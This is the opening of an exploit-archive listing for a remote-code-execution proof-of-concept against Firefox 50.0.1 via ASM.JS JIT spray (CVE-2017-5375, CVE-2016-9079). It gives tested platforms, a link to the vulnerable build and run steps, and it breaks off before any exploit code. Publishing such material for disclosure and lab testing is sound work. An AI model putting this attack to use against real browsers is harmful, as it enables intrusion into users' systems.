Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution

By Rh0

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code html

<!DOCTYPE HTML>

<!--

    FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
    PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)

    Tested on:

    Release 50.0.1 32-bit - Windows 8.1 / Windows 10
    https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe

    Howto:

    1) serve PoC over network and open it in Firefox 50.0.1 32-bit
    2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe

    A successfull exploit attempt should pop cmd.exe
